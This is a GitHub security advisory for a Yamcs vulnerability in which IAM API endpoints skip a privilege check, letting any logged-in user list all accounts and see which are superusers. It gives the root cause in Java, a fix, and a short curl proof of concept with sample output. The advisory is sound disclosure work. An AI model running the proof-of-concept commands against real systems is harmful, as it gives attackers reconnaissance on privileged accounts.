GitHub Advisoryadvisory · Maven
GHSA-p2rj-mrmc-9w29 Yamcs vulnerable to unauthorized user enumeration via IAM API endpoints
MEDIUM
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- Aliases
- CVE-2026-44595
- Ecosystem
- Maven
- Packages
- org.yamcs:yamcs-core
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Weaknesses
- CWE-862
- Reviewed
- 2026-05-27
Affected packages
• Maven org.yamcs:yamcs-core: < 5.12.7 → fixed in 5.12.7
Description
Summary
The IAM API endpoints (`listUsers`, `getUser`, `listGroups`, and `getGroup`) in `yamcs-core` do not enforce the required `SystemPrivilege.ControlAccess` check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.
This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.
Root Cause
File: `yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372`
`listUsers()`, `getUser()`, `listGroups()`, and `getGroup()` do not require `SystemPrivilege.ControlAccess`. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:
```java
// listUsers — NO checkSystemPrivilege
public void listUsers(Context ctx, Empty request, ...) {
var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);
// sensitiveDetails=false for low-priv users, but name/superuser/active still exposed
for (User user : users) {
UserInfo userb = toUserInfo(user, sensitiveDetails, directory);
responseb.addUsers(userb);
}
}
```
Compare with properly protected endpoints:
```java
// createUser — correctly protected
public void createUser(Context ctx, ...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present
```
Impact
Any authenticated user can:
1. List all user accounts in the system
2. Identify which accounts have superuser privileges
3. Use this information to target privileged accounts
Proof of Concept
```bash
Authenticate as any low-privilege user GET access_token
curl -s -X POST "http://localhost:8090/auth/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=password&username=lowpriv&password=lowpriv123"
Enumerate all users — no ControlAccess required
curl -s "http://TARGET:8090/api/users" \
-H "Authorization: Bearer $TOKEN" #paste access_token
```
Output (confirmed):
```json
{
"users": [
{ "name": "admin", "superuser": true, "active": true },
{ "name": "operator", "superuser": true, "active": true },
{ "name": "lowpriv", "superuser": false, "active": true }
]
}
```
Fix
Add `ControlAccess` check to `listUsers`, `getUser`, `listGroups`, `getGroup`:
```java
public void listUsers(Context ctx, Empty request, ...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS
...
}
```
Related
Alias · CVE (1)
- CVE-2026-44595 Yamcs is a mission control framework. vulnerability
Weakness · CWE (1)
- CWE-862 Missing Authorization weakness